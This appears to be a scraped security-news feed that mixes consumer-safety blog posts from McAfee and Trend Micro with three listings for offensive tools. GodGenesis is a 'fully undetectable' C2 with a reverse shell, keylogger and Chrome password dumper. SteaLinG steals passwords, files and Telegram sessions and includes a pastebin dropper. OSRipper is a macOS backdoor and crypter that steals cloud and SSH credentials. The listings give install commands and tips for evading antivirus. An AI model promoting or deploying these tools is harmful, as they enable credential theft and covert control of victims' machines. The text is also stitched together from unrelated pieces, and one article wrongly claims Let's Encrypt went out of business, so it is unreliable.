Comprehensive online protection software like ours offers antivirus, along with specific services and features that protect your privacy and identity online as well. It gives you dozens of other features like identity theft coverage & restoration, personal data cleanup, security freezes, and an online protection score that shows you just how safe you are, along with suggestions that can make you safer still.  

So while protecting your devices with antivirus is a great start, it’s only one part of staying safer online. Including privacy and identity protection rounds out your protection overall. 

The post What is Antivirus and What Does It Really Protect? appeared first on McAfee Blog.

“This Connection Is Not Private” – What it Means and How to Protect Your Privacy

By: McAfee

Have you ever been browsing online and clicked a link or search result that took you to a site that triggers a “your connection is not private” or “your connection is not secureerror code? If you’re not too interested in that particular result, you may simply move on to another result option. But if you’re tempted to visit the site anyway, you should be sure you understand what the warning means, what the risks are, and how to bypass the error if you need to.   

What does “this connection is not private” mean?

A “your connection is not private” error means that your browser cannot determine with certainty that a website has safe encryption protocols in place to protect your device and data. You can bump into this error on any device connected to the internet — computer, smartphone, or tablet.  

So, what exactly is going on when you see the “this connection is not private” error?  

For starters, it’s important to know that seeing the error is just a warning, and it does not mean any of your private information is compromised. A “your connection is not privateerror means the website you were trying to visit does not have an up-to-date SSL (secure sockets layer) security certificate. 

Website owners must maintain the licensing regularly to ensure the site encryption capabilities are up to date. If the website’s SSL certificate is outdated, it means the site owners have not kept their encryption licensing current, but it doesn’t necessarily mean they are up to no good. Even major websites like LinkedIn have had momentary lapses that would throw the error. LinkedIn mistakenly let their subdomain SSL certificates lapse.  

In late 2021, a significant provider of SSL certificates, Let’s Encrypt, went out of business. When their root domain officially lapsed, it created issues for many domain names and SSL certificates owned by legitimate companies. The privacy error created problems for unwitting businesses, as many of their website visitors were rightfully concerned about site security.  

While it does not always mean a website is unsafe to browse, it should not be ignored. A secure internet connection is critical to protecting yourself online. Many nefarious websites are dangerous to visit, and this SSL certificate error will protect you from walking into them unaware.   

SSL certification standards have helped make the web a safer place to transact. It helps ensure online activities like paying bills online, ordering products, connecting to online banking, or keeping your private email accounts safe and secure. Online security continues to improve with a new Transport Layer Security (TLS) standard, which promises to be the successor protocol to SSL. 

So be careful whenever visiting sites that trigger the “connection is not private” error, as those sites can potentially make your personal data less secure and make your devices vulnerable to viruses and malware 

Note: The “your connection is not private” error is Google Chrome‘s phrasing. Microsoft Edge or Mozilla Firefox users will instead see a “your connection is not secure” error as the warning message.   

How to fix the “connection is not private” error

If you feel confident that a website or page is safe, despite the warning from your web browser, there are a few things you can do to troubleshoot the error.  

  • Refresh the page. In some cases, the error is just a momentary glitch. Try reloading the page to rule out a temporary error.  
  • Close browser and reopen. Closing and reopening your web browser might also help clear a temporary glitch.  
  • If you’re on public WiFi, think twice. Hackers often exploit public WiFi because their routers are usually not as secure or well-maintained for security. Some public WiFi networks may not have an SSL connection, or they may limit your access to websites. You can safely browse more securely in public spaces if you have an antivirus software or virtual private network (VPN) solution. 
  • Use “Incognito” mode. The most used browsers (Google Chrome browser, Mac‘s Safari, Mozilla Firefox, and Microsoft Edge) offer an “Incognito mode” that lets you browse without data collecting in your history or cache. Open the site in a new incognito window and see if the error still appears.  
  • Clear the cache on your browser. While cookies make browsing the web more convenient and personalized, they also can hold on to sensitive information. Hackers will take advantage of cached data to try and get passwords, purchase information, and anything else they can exploit. Clear browsing data before going to a site with the “connection is not secure” error to help limit available data for hackers 
  • Check the computer’s date and time. If you frequently see the “connection is not private” error, you should check and ensure your computer has the accurate time and date. Your computer’s clock can sometimes have time and date stamp issues and get glitchy in multiple ways. If it’s incorrect, adjust the date and set the time to the correct settings.  
  • Check your antivirus software. If your antivirus software is sensitive, you may have to disable it momentarily to bypass the error. Antivirus software protects you, so you should be careful to remember to turn the software back on again after you’ve bypassed the error.  
  • Be sure your browsers and operating systems are up to date. You should always keep your critical software and the operating system fully updated. An outdated browser can start getting buggy and can increase the occurrence of this kind of error.  
  • Research the website. Do a quick search for the company of the website you wish to visit and make sure they are a legitimate business. You can search for reviews, Better Business Bureau ratings, or check for forums to see if others are having the same issue. Be sure you are spelling the website address correctly and that you have the correct URL for the site. Hackers can take advantage of misspellings or alternative URLs to try and snare users looking for trusted brands. 
  • If it’s not you, it’s them. If you’ve tried all the troubleshooting techniques above and you still see the error, the problem is likely coming from the site itself. If you’re willing to take your chances (after clearing your browser’s cache), you can click the option to “proceed to the domain,” though it is not recommended. You may have to choose “advanced settings” and click again to visit the site.   

Remember, you are taking your chances anytime you ignore an error. As we mentioned, you could leave yourself vulnerable to hackers after your passwords, personal information, and other risks.  

How to protect your privacy when browsing online

Your data and private information are valuable to hackers, so they will continue to find new ways to try and procure it. Here are some ways to protect yourself and your data when browsing online.  

  • Antivirus solutions are, hands down, your best line of protection against hacking. Solutions like McAfee+ Ultimate offer all the tools you need to secure your data and devices.  
  • Use strong passwords and two-factor authentication when available. 
  • Delete unused browser extensions (or phone apps) to reduce access. 
  • Always keep your operating system and browsers up-to-date. You can open system preferences and choose to update your system automatically. 
  • Use a secure VPN solution to shield your data when browsing. 
  • Use your favorite browser’s incognito mode to reduce the data connected to your devices. 
  • Remove any 3rd party apps from your social media accounts — especially if you’ve recently taken a Facebook quiz or similar (also, don’t take Facebook quizzes). 
  • Engage the highest privacy settings in each of your browsers. 
  • Always check the address bar for HTTPS before sharing credit cards or other sensitive data on a website. 
  • Share less personal and private information on social media.  

Discover how McAfee keeps you and your data safe from threats

As we continue to do more critical business online, we must also do our best to address the risks of the internet’s many conveniences.  

A comprehensive cybersecurity tool like McAfee+ Ultimate can help protect you from online scams, identity theft, and phishing attempts, and ensure you always have a secure connection. McAfee helps keep your sensitive information out of the hands of hackers and can help you keep your digital data footprints lighter with personal data cleanup.  

With McAfee’s experts on your side, you can enjoy everything the web offers with the confidence of total protection. 

The post “This Connection Is Not Private” – What it Means and How to Protect Your Privacy appeared first on McAfee Blog.

New Updates for ESET's Advanced Home Solutions

It's no secret that antivirus software is as essential to your computer as a power cord. However, the threats don't stop at your devices. For example, criminals trying to steal your data can attack your Wi-Fi router, and phishing attempts can target your email.  ESET's latest consumer product release takes a comprehensive approach to security to guard against a full range of threats. All are

GodGenesis - A Python3 Based C2 Server To Make Life Of Red Teamer A Bit Easier. The Payload Is Capable To Bypass All The Known Antiviruses And Endpoints

God Genesis is a C2 server purely coded in Python3 created to help Red Teamers and Penetration Testers. Currently It only supports TCP reverse shell but wait a min, its a FUD and can give u admin shell from any targeted WINDOWS Machine.


The List Of Commands It Supports :-

                ===================================================================================================
BASIC COMMANDS:
===================================================================================================
help --> Show This Options
terminate --> Exit The Shell Completely
exit --> Shell Works In Background And Prompted To C2 Server
clear --> Clear The Previous Outputs

===================================================================================================
SYSTEM COMMANDS:
===================================================================================================
cd --& gt; Change Directory
pwd --> Prints Current Working Directory
mkdir *dir_name* --> Creates A Directory Mentioned
rm *dir_name* --> Deletes A Directoty Mentioned
powershell [command] --> Run Powershell Command
start *exe_name* --> Start Any Executable By Giving The Executable Name

===================================================================================================
INFORMATION GATHERING COMMANDS:
===================================================================================================
env --> Checks Enviornment Variables
sc --> Lists All Services Running
user --> Current User
info --> Gives Us All Information About Compromised System
av --> Lists All antivirus In Compromised System

===================================================================================================
DATA EXFILTRATION COMMANDS:
===================================================================================================
download *file_name* --> Download Files From Compromised System
upload *file_name* --> Uploads Files To Victim Pc


===================================================================================================
EXPLOITATION COMMANDS:
========================================================== =========================================
persistence1 --> Persistance Via Method 1
persistence2 --> Persistance Via Method 2
get --> Download Files From Any URL
chrome_pass_dump --> Dump All Stored Passwords From Chrome Bowser
wifi_password --> Dump Passwords Of All Saved Wifi Networks
keylogger --> Starts Key Logging Via Keylogger
dump_keylogger --> Dump All Logs Done By Keylogger
python_install --> Installs Python In Victim Pc Without UI


Features Of Our Framework :-

Check The Video To Get A Detail Knowledge

1. The Payload.py is a FULLY UNDETECTABLE(FUD) use your own techniques for making an exe file. (Best Result When Backdoored With Some Other Legitimate Applictions)
2. Able to perform privilege escalation on any windows systems.
3. Fud keylogger
4. 2 ways of achieving persistance
5. Recon automation to save your time.

How To Use Our Tool :

git clone https://github.com/SaumyajeetDas/GodGenesis.git

pip3 install -r requirements.txt

python3 c2c.py

It is worth mentioning that Suman Chakraborty have contributed in the framework by coding the the the Fud Keyloger, Wifi Password Extraction and Chrome Password Dumper modules.

Dont Forget To Change The IP ADDRESS Manually in both c2c.py and payload.py



SteaLinG - Open-Source Penetration Testing Framework Designed For Social Engineering


The SteaLinG is an open-source penetration testing framework designed for social engineering After the hack, you can upload it to the victim's device and run it

disclaimers:

This is only for testing purposes and can only be used where strict consent has been given. Do not use this for illegal purposes

How can I benefit from this project?

  • you can use it
  • for developers
    you can read the source code and try to understand how to make a project like this

Features


module Short description
Dump password steal All passwords saved , upload file a passwords saved to mega
Dump History dump browser history
dump files Steal files from the hard drive with the extension you want

New features

module Short description
1-Telegram Session Hijack Telegram session hijacker
  • How it works ? The recording session in Telegram is stored locally in this particular path C:\Users<pc name >\AppData\Roaming\Telegram Desktop in the 'tedata' folder
C:
└── Users
├── .AppData
│   └── Roaming
│   └── TelegramDesktop
│   └── tdata

Once you have moved this folder with all its contents on your device in the same path, then you do what will happen for it is that simple The tool does all this, all you have to do is give it your token on the site https://anonfiles.com/ The first step is to go to the path where the tdata file is located, and then convert it to a zip file. Of course, if the Telegram was working, this would not happen. If there was any error, it means that the Telegram is open, so I would do the kill processes. antivirus You will see that this is malicious behavior, so I avoided this part at all by the try and except in the code The name of the archive file is used in the name of the device of your victim, because if you have more than one, I mean, after that, you will post request for the zipfile on the anonfiles website using the API key or the token of your account on the site. On it, you will find your token Just that, teacher, and it is not exposed from any AV

module
2- Dropper
  • What requirements does he need from you?
  • And how does it work?? Requirements The first thing it asks you is the URL of the virus or whatever you want to download to the victim's device, but keep in mind that the URL must be direct, meaning that it must be the end Its Yama .exe or .png, whatever is important is that it be a link that ends with a backstamp The second thing is to take the API Kay from you, and you will answer it as well. Either you register, click on the word API, you will find it, and you will take the username and password So how does it work? 

The first thing is to create a paste on the site and make it private Then it adds the url you gave it and then it gives you the exe file, its function is that when it works on any device it starts adding itself to Registry device in two different ways It starts to open pastebin and inserts the special paste you created, takes the paste url, downloads its content and runs And you can enter the url at any time and put another url. It is very normal because the dropper goes every 10 minutes. Checks the URL. If it finds it, it changes it, downloads its content, downloads it, and connects to find it. You don't do anything, and so, every 10 minutes, you can literally do it, you can access your device from anywhere

3- Linux support

4-You can now choose between Mega or Pastebin

Requirements

  • python >= 3.8 ++ Download Python
  • os : Windows
  • os : Linux

Installation to Windows:

git clone https://github.com/De3vil/SteaLinG.git
cd SteaLinG
pip install -r requirements.txt
python SteaLinG.py

Installation to Linux

git clone https://github.com/De3vil/SteaLinG.git
cd SteaLinG
chmod +x linux_setup.sh
bash linux_setup.sh
python SteaLinG.py

warning:

* Don't Upload in VirusTotal.com Bcz This tool will not work with Time.
* Virustotal Share Signatures With AV Comapnies.
* Again Don't be an Idiot!

AV detection


Media



OSRipper - AV Evading OSX Backdoor And Crypter Framework


OSripper is a fully undetectable Backdoor generator and Crypter which specialises in OSX M1 malware. It will also work on windows but for now there is no support for it and it IS NOT FUD for windows (yet at least) and for now i will not focus on windows.

You can also PM me on discord for support or to ask for new features SubGlitch1#2983


Features

  • FUD (for macOS)
  • Cloacks as an official app (Microsoft, ExpressVPN etc)
  • Dumps; Sys info, Browser History, Logins, ssh/aws/azure/gcloud creds, clipboard content, local users etc. (more on Cedric Owens swiftbelt)
  • Encrypted communications
  • Rootkit-like Behaviour
  • Every Backdoor generated is entirely unique

Description

Please check the wiki for information on how OSRipper functions (which changes extremely frequently)

https://github.com/SubGlitch1/OSRipper/wiki

Here are example backdoors which were generated with OSRipper




 macOS .apps will look like this on vt

Getting Started

Dependencies

You need python. If you do not wish to download python you can download a compiled release. The python dependencies are specified in the requirements.txt file.

Since Version 1.4 you will need metasploit installed and on path so that it can handle the meterpreter listeners.

Installing

Linux

apt install git python -y
git clone https://github.com/SubGlitch1/OSRipper.git
cd OSRipper
pip3 install -r requirements.txt

Windows

git clone https://github.com/SubGlitch1/OSRipper.git
cd OSRipper
pip3 install -r requirements.txt

or download the latest release from https://github.com/SubGlitch1/OSRipper/releases/tag/v0.2.3

Executing program

Only this

sudo python3 main.py

Contributing

Please feel free to fork and open pull repuests. Suggestions/critisizm are appreciated as well

Roadmap

v0.1

  • ✅Get down detection to 0/26 on antiscan.me
  • ✅Add Changelog
  • ✅Daemonise Backdoor
  • ✅Add Crypter
  • ✅Add More Backdoor templates
  • ✅Get down detection to at least 0/68 on VT (for mac malware)

v0.2

  • ✅Add AntiVM
  • [] Implement tor hidden services
  • ✅Add Logger
  • ✅Add Password stealer
  • [] Add KeyLogger
  • ✅Add some new evasion options
  • ✅Add SilentMiner
  • [] Make proper C2 server

v0.3

Coming soon

Help

Just open a issue and ill make sure to get back to you

Changelog

  • 0.2.1

    • OSRipper will now pull all information from the Target and send them to the c2 server over sockets. This includes information like browser history, passwords, system information, keys and etc.
  • 0.1.6

    • Proccess will now trojanise itself as com.apple.system.monitor and drop to /Users/Shared
  • 0.1.5

    • Added Crypter
  • 0.1.4

    • Added 4th Module
  • 0.1.3

    • Got detection on VT down to 0. Made the Proccess invisible
  • 0.1.2

    • Added 3rd module and listener
  • 0.1.1

    • Initial Release

License

MIT

Acknowledgments

Inspiration, code snippets, etc.

Support

I am very sorry to even write this here but my finances are not looking good right now. If you appreciate my work i would really be happy about any donation. You do NOT have to this is solely optional

BTC: 1LTq6rarb13Qr9j37176p3R9eGnp5WZJ9T

Disclaimer

I am not responsible for what is done with this project. This tool is solely written to be studied by other security researchers to see how easy it is to develop macOS malware.



7 Signs Your Phone Has a Virus and What You Can Do

By: McAfee

Our phones store a lot of personal data, including contacts, social media account details, and bank account logins. We use our smartphones for everything under the sun, from work-related communication to online shopping. 

However, like computer viruses, our phones can be vulnerable to malware. Viruses are a type of malware that replicate themselves and spread throughout the entire system. They can affect your phone’s performance or, worse, compromise your sensitive information so that hackers can benefit monetarily. 

In this article, we give you a rundown of viruses that can infect your phone and how you can identify and eliminate them. We also provide some tips for protecting your phone from viruses in the first place. 

Can iPhone and Android devices get viruses?

iPhones and Android devices run on different operating systems. So, there are differences in the viruses that affect each type of mobile device and how resistant each operating system is to viruses.  

Viruses have a harder time penetrating iOS because of its design (although iOS hacks can still happen). By restricting interactions between apps, Apple’s operating system limits the movement of an iPhone virus across the device. However, if you jailbreak your iPhone or iPad to unlock tweaks or install third-party apps, then the security restrictions set by Apple’s OS won’t work. This exposes iPhone users to vulnerabilities that cybercriminals can exploit.   

While Android phones are also designed with cybersecurity in mind, their reliance on open-source code makes them an easier target for hackers. Android devices allow users to access third-party apps not available in the Google Play Store 

Main types of phone viruses

Cybercriminals today are sophisticated and can launch a variety of cyberattacks on your smartphone. Some viruses that can infect your phone include:  

  • Malware: Malware encompasses programs that steal your information or take control of your device without your permission. 
  • Adware: These are ads that can access information on your device if you click on them. 
  • Ransomware: These prevent you from accessing your phone again unless you pay a ransom to the hacker. The hacker may use personal data like your pictures as blackmail. 
  • Spyware: This tracks your browsing activity, then steals your data or affects your phone’s performance. 
  • Trojan: Aptly named, this type of virus hides inside an app to take control of or affect your phone and data. 

How do phones get viruses?

Smartphones and computers get viruses in a similar way. The most common include: 

  • Clicking on links or attachments from unverified sources. These are most commonly distributed as emails and SMS. 
  • Clicking on seemingly innocent ads that take you to an unsecured webpage or download mobile malware to your device. 
  • Visiting suspicious websites, often by ignoring security warnings. 
  • Downloading malicious apps from an unverified source, usually outside the Apple App Store or Google Play Store. 
  • Connecting your phone to an unsecured internet connection like public Wi-Fi (McAfee offers a secure VPN that makes it safe to use unsecured Wi-Fi networks by encrypting your data.) 

7 signs your phone has a virus

Now that you know how your phone could be the target of a virus, look out for these seven signs to determine if your device has been infected with malicious software. 

You see random pop-up ads or new apps 

Most pop-up ads don’t carry viruses but are only used as marketing tools. However, if you find yourself shutting pop-up ads more often than usual, it might indicate a virus on your phone. 

Don’t open any apps in your library that you don’t remember installing. Instead, uninstall them immediately. These apps tend to carry malware that’s activated when the app is opened or used. 

Your device feels physically hot

Your phone isn’t built to support malware. When you accidentally download apps that contain malware, the device has to work harder to continue functioning. In this case, your phone might be overheating. 

Random messages are sent to your contacts

If your contacts receive unsolicited scam emails or messages on social media from your account, especially those containing suspicious links, a virus may have accessed your contact list. It’s best to let all the recipients know that your phone has been hacked so that they don’t download any malware themselves or forward those links to anybody else. 

The device responds slowly

An unusually slow-performing device is a hint of suspicious activity on your phone. The device may slow down because it needs to work harder to support the downloaded virus. Alternatively, unfamiliar apps might be taking up storage space and running background tasks, causing your phone to run slowly. 

You find fraudulent charges on your accounts

Be sure to follow up on charges on your credit card or transactions in your banking statements that you don’t recognize. It could be an unfamiliar app or malware making purchases through your account without your knowledge. 

The phone uses excess data

A sudden rise in your data usage or phone bill can be suspicious. A virus might be running background processes or using your internet connection to transfer data out of your device for malicious purposes. 

Your battery drains quickly

An unusually quick battery drain may also cause concern. Your phone will be trying to meet the energy requirements of the virus, so this problem is likely to persist for as long as the virus is on the device. 

How can I check if my phone has a virus?

You may have an inkling that a virus is housed inside your phone, but the only way to be sure is to check.  

An easy way to do this is by downloading a trustworthy antivirus app. The McAfee Mobile Security app scans for threats regularly and blocks them in real time. It prevents suspicious apps from attaching themselves to your phone and secures any public connections you might be using. 

How to remove a virus from Android and iPhone

If you detect a virus on your iPhone or Android device, there are several things you can do.  

  • Download antivirus software like McAfee’s award-winning antivirus software or a mobile security app to help you locate existing viruses and malware. By identifying the exact problem, you know what to get rid of and how to protect your device in the future. 
  • Do a thorough sweep of your app library to make sure that whatever apps are on your phone were downloaded by you. Delete any apps that aren’t familiar. 
  • To protect your information, delete any sensitive text messages and clear history regularly from your mobile browsers. Empty the cache in your browsers and apps. 
  • In some instances, you may need to reboot your smartphone to its original factory settings. This can lead to data loss, so be sure to back up important documents to the cloud. 
  • Create strong passwords for all your accounts after cleaning up your phone. You can then protect your passwords using a password management system like McAfee True Key, which uses the most robust encryption algorithms available so only you have access to your information.  

7 tips to protect your phone from viruses

It’s never too late to start caring for your phone. Follow these tips to stay safe online and help reduce the risk of your phone getting a virus. 

  • Only download an app from a trusted source, i.e., the app store or other verified stores. You should read app reviews and understand how the app intends to use your data. 
  • Set up strong, unique passwords for your accounts instead of using the same or similar passwords. This prevents a domino effect in case one of the accounts is compromised. 
  • Think twice before you click on a link. If you believe it looks suspicious, your gut is probably right! Avoid clicking on it until you have more information about its trustworthiness. These links can be found across messaging services and are often part of phishing scams. 
  • Clear your cache periodically. Scan your browsing history to get rid of any links that seem suspicious. 
  • Avoid saving login information on your browsers and log out when you’re not using a particular browser. Although this is a convenience trade-off, it’s harder for malware to access accounts you’re not logged into during the attack.  
  • Update your operating system and apps frequently. Regular updates build upon previous security features. Sometimes, these updates contain security patches created in response to specific threats in prior versions. 
  • Don’t give an app all the permissions it asks for. Instead, you can choose to give it access to certain data only when required. Minimizing an application’s access to your information keeps you safer. 

Discover how McAfee Mobile Security keeps your phone safe

McAfee Mobile Security is committed to keeping your mobile phone secure, whether it’s an iPhone or Android device. In addition to regularly scanning your phone to track suspicious activity, our technology responds to threats in real time. Our comprehensive tools also secure your internet connections and let you browse peacefully. Using our app makes sure that your phone and data are protected at all times.  

So, what are you waiting for? Download McAfee Mobile Security today!  

The post 7 Signs Your Phone Has a Virus and What You Can Do appeared first on McAfee Blog.

VirusTotal Reveals Most Impersonated Software in Malware Attacks

Threat actors are increasingly mimicking legitimate applications like Skype, Adobe Reader, and VLC Player as a means to abuse trust relationships and increase the likelihood of a successful social engineering attack. Other most impersonated legitimate apps by icon include 7-Zip, TeamViewer, CCleaner, Microsoft Edge, Steam, Zoom, and WhatsApp, an analysis from VirusTotal has revealed. "One of the

Hackers Abusing BRc4 Red Team Penetration Tool in Attacks to Evade Detection

Malicious actors have been observed abusing legitimate adversary simulation software in their attacks in an attempt to stay under the radar and evade detection. Palo Alto Networks Unit 42 said a malware sample uploaded to the VirusTotal database on May 19, 2022, contained a payload associated with Brute Ratel C4, a relatively new sophisticated toolkit "designed to avoid detection by endpoint

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Ransom from Home – How to close the cyber front door to remote working ransomware attacks

Coronavirus has caused a major shift to our working patterns. In many cases these will long outlast the pandemic. But working from home has its own risks. One is that you may invite ransomware attacks from a new breed of cyber-criminal who has previously confined his efforts to directly targeting the corporate network. Why? Because as a remote worker, you’re increasingly viewed as a soft target—the open doorway to extorting money from your employer.

So how does ransomware land up on your front doorstep? And what can a home worker do to shut that door?

The new ransomware trends

Last year, Trend Micro detected over 61 million ransomware-related threats, a 10% increase from 2018 figures. But things have only gotten worse from there. There has been a 20% spike in ransomware detections globally in the first half of 2020, rising to 109% in the US. And why is that?

At a basic level, ransomware searches for and encrypts most of the files on a targeted computer, so as to make them unusable. Victims are then asked to pay a ransom within a set time frame in order to receive the decryption key they need to unlock their data. If they don’t, and they haven’t backed-up this data, it could be lost forever.

The trend of late, however, has been to focus on public and private sector organizations whose staff are working from home (WFH). The rationale is that remote workers are less likely to be able to defend themselves from ransomware attacks, while they also provide a useful stepping-stone into high-value corporate networks. Moreover, cybercriminals are increasingly looking to steal sensitive data before they encrypt it, even as they’re more likely to fetch a higher ransom for their efforts than they do from a typical consumer, especially if the remote employee’s data is covered by cyber-insurance.

Home workers are also being more targeted for a number of reasons:

  • They may be more distracted than those in the office.
  • Home network and endpoint security may not be up to company levels.
  • Home systems (routers, smart home devices, PCs, etc.,) may not be up-to-date and therefore are more easily exposed to exploits.
  • Remote workers are more likely to visit insecure sites, download risky apps, or share machines/networks with those who do.
  • Corporate IT security teams may be overwhelmed with other tasks and unable to provide prompt support to a remote worker.
  • Security awareness programs may have been lacking in the past, perpetuating bad practice for workers at home.

What’s the attack profile of the remote working threat?

In short, the bad guys are now looking to gain entry to the corporate network you may be accessing from home via a VPN, or to the cloud-hosted systems you use for work or sharing files, in order to first steal and then encrypt company data with ransomware as far and wide as possible into your organization. But the methods are familiar. They’ll

  • Try to trick you into dangerous behavior through email phishing—the usual strategy of getting you to click links that redirect you to bad websites that house malware, or getting you to download a bad file, to start the infection process.
  • Steal or guess your log-ins to work email accounts, remote desktop tools (i.e., Microsoft Remote Desktop or RDP), and cloud-based storage/networks, etc., before they deliver the full ransomware payload. This may happen via a phishing email spoofed to appear as if sent from a legitimate source, or they may scan for your use of specific tools and then try to guess the password (known as brute forcing). One new Mac ransomware, called EvilQuest, has a keylogger built into it, which could capture your company passwords as you type them in. It’s a one-two punch: steal the data first, then encrypt it.
  • Target malware at your VPN or remote desktop software, if it’s vulnerable. Phishing is again a popular way to do this, or they may hide it in software on torrent sites or in app stores. This gives them a foothold into your employer’s systems and network.
  • Target smart home devices/routers via vulnerabilities or their easy-to-guess/crack passwords, in order to use home networks as a stepping-stone into your corporate network.

How can I prevent ransomware when working from home?

The good news is that you, the remote worker, can take some relatively straightforward steps up front to help mitigate the cascading risks to your company posed by the new ransomware. Try the following:

  • Be cautious of phishing emails. Take advantage of company training and awareness courses if offered.
  • Keep your home router firmware, PCs, Macs, mobile devices, software, browsers and operating systems up to date on the latest versions – including remote access tools and VPNs (your IT department may do some of this remotely).
  • Ensure your home network, PCs, and mobile devices are protected with up-to-date with network and endpoint AV from a reputable vendor. (The solutions should include anti-intrusion, anti-web threat, anti-spam, anti-phishing, and of course, anti-ransomware features.)
  • Ensure remote access tools and user accounts are protected with multi-factor authentication (MFA) if used and disable remote access to your home router.
  • Disable Microsoft macros where possible. They’re a typical attack vector.
  • Back-up important files regularly, according to 3-2-1 rule.

How Trend Micro can help

In short, to close the cyber front door to ransomware, you need to protect your home network and all your endpoints (laptops, PCs, mobile devices) to be safe. Trend Micro can help via

  • The Home Network: Home Network Security (HNS) connects to your router to protect any devices connected to the home network — including IoT gadgets, smartphones and laptops — from ransomware and other threats.
  • Desktop endpoints: Trend Micro Security (TMS) offers advanced protection from ransomware-related threats. It includes Folder Shield to safeguard valuable files from ransomware encryption, which may be stored locally or synched to cloud services like Dropbox®, Google Drive® and Microsoft® OneDrive/OneDrive for Business.
  • Mobile endpoints: Trend Micro Mobile Security (also included in TMS) protects Android and iOS devices from ransomware.
  • Secure passwords: Trend Micro Password Manager enables users to securely store and recall strong, unique passwords for all their apps, websites and online accounts, across multiple devices.
  • VPN Protection at home and on-the-go: Trend Micro’s VPN Proxy One (Mac | iOS) solution will help ensure your data privacy on Apple devices when working from home, while its cross-platform WiFi Protection solution will do the same across PCs, Macs, Android and iOS devices when working from home or when connecting to public/unsecured WiFi hotspots, as you venture out and about as the coronavirus lockdown eases in your area.

With these tools, you, the remote worker, can help shut the front door to ransomware, protecting your work, devices, and company from data theft and encryption for ransom.

The post Ransom from Home – How to close the cyber front door to remote working ransomware attacks appeared first on .

Top Tips For Home Cybersecurity And Privacy In A Coronavirus-Impacted World (Part 1)

Welcome to the new normal. We’re all now living in a post-COVID-19 world characterized by uncertainty, mass home working and remote learning. The lines demarcating normal life have shifted abruptly – perhaps never to return. That’s not the worst that can happen, as we all know, but it does mean we all need to get used to new ways of living, working and studying from home. This has major implications for the online safety, security and privacy of our families.

To help you adapt to these new conditions while protecting what matters most, Trend Micro has developed a two-part blog series on “The New Normal.” Part 1 identifies the scope and specific cyber-threats of the new normal. Part 2 provides security tips and products to help address those threats.

What’s going on?

In April, nearly 300 million Americans were estimated to be in government-mandated lockdown. Even as some businesses, municipalities and states begin to relax these rules, experts have warned of subsequent waves of the virus, which could result in new localized lockdowns. In short, a lot of people will continue to work from home, while their children, also at home, attempt to study remotely from their mobile devices.

This has considerable implications for how we spend our time. Without that morning commute to work or school, more of it than ever will involve sitting in front of a desktop, laptop, tablet or smartphone screen. Even the smart TV is enlisted. Dangers include

  • Use of potentially insecure video conferencing applications. The number of daily meeting participants on Zoom surged from 10 million in December 2019 to roughly 200 million in March.
  • Visits to P2P/torrent sites or platforms for adult content. In search of entertainment, bored kids or teens in your household may have more time and inclination to do this.
  • Downloads of potentially malicious applications disguised as legitimate entertainment or gaming content.
  • More online shopping and banking. June alone generated $73.2 billion in online spend, up 76.2% year-on-year. Whenever you shop or bank online, financial data is potentially exposed.
  • Use of potentially insecure remote learning platforms. Educational mobile app downloads increased by a massive 1087% between March 2 and 16. The trend continues.
  • Logging on to corporate cloud-based services. This includes Office 365, to do your job remotely, or using a VPN to connect directly into the office.
  • For recreation, streaming and browsing on your smart TV. But even your smart TV is vulnerable to threats, as the FBI has warned.

Risky behavior

Unfortunately, the increase in working from home (WFH), especially for those not used to it, may lead to an increase in risky behavior, such as: using non-approved apps for work; visiting non work-related sites on work devices; and using personal devices to access work resources. Recent global Trend Micro research found that:

  • 80% have used their work laptop for personal browsing, with only 36% fully restricting the sites they visit.
  • 56% of employees have used a non-work app on a corporate device, and 66% have uploaded corporate data to it.
  • 39% often or always access corporate data from a personal device.
  • 8% admit to watching adult content on their work laptop, and 7% access the dark web.

This is not about restricting your freedom to visit the sites you want to visit while at home. It’s about reducing the risk of exposing corporate data and systems to possible malware.

What are the bad guys doing?

Unsurprisingly, there has also been a major uptick in the volume of cyber-threats targeting home users. With a captive audience to aim at, it’s a huge opportunity for cyber-criminals to steal your log-ins and personal data to sell to fraudsters, or even to steal corporate passwords and information for a potentially bigger pay-off. They are helped by the fact that many home workers may be more distracted than they usually would be at the office, especially if they have young children. Your kids may even share the same laptops or PCs as you, potentially visiting risky sites and/or downloading unapproved apps.

There’s also a chance that, unless you have a corporate machine at home, your personal computing equipment is less secure than the kit you had in the office. Add to that the fact that support from the IT department may be less forthcoming than usual, given that stretched teams are overwhelmed with requests, while themselves struggling to WFH. One recent report claimed that nearly half (47%) of IT security pros have been taken off some or all of their typical security tasks to support other IT-related jobs. In another, only 59% of respondents said they believe their cybersecurity team has the right tools and resources at home to perform their job effectively.

It’s time to step up and take security into your own hands. Stay on the lookout for the following threats.

  • Unsecured home routers and smart devices might be hijacked in more sophisticated attacks designed to steal data from corporate networks via the home worker.
  • Phishing attacks spoofing well-known brands or using COVID-19 information/news as a lure. Google is blocking 18 million malicious pandemic-themed emails every day. The end goal may be to hijack your online consumer accounts (Netflix, banking, email, online shopping) or work accounts. Other phishing emails are designed to install data-stealing malware, ransomware and other threats.
  • Attackers may target vulnerabilities in your home PCs and the apps you’re using (video conferencing etc) to gain remote access.
  • Business Email Compromise (BEC) attackers may try to leverage the lack of internal communications between remote workers to impersonate senior execs via email, and trick finance team members into wiring corporate funds abroad.
  • Kids exposing home networks and devices to malware on torrent sites, in mobile apps, on social media, and via phishing attacks potentially imitating remote learning/video conferencing platforms.
  • Kids searching for adult/inappropriate content, and/or those that are bored and over-share on social media. Unicef has warned that millions of children are at increased of online harm as lockdown means they spend more of their days online.
  • Mobile apps represent a potential source of malware, especially those found on unofficial app stores. There has also been a reported 51% rise in stalkerware – covert surveillance apps used by domestic abusers and stalkers to target victims.
  • The pandemic has led to a surge in e-commerce fraud where consumers are tricked into buying non-existent products or counterfeit goods including medical items.

So what’s a remote worker/concerned parent to do to protect themselves and the family in the midst of the “new normal?”

Read Part 2 in this mini-series, which we’re publishing simultaneously with Part 1, where we share some best practice advice on how to keep your digital lives and work systems safe from online threats during lockdown—and where we provide tools to help you do just that.

The post Top Tips For Home Cybersecurity And Privacy In A Coronavirus-Impacted World (Part 1) appeared first on .

Top Tips For Home Cybersecurity And Privacy In A Coronavirus-Impacted World (Part 2)

The past few months have seen radical changes to our work and home life under the Coronavirus threat, upending norms and confining millions of American families within just four walls. In this context, it’s not surprising that more of us are spending an increasing portion of our lives online. But this brings with it some familiar cyber-risks. In Part 1 of this mini-series, we explained how cyber-criminals are looking to capitalize on these sweeping changes to society to further their own ends.

Now let’s take a look at what you can do to protect your family, your data, and access to your corporate accounts.

How you can stay safe online

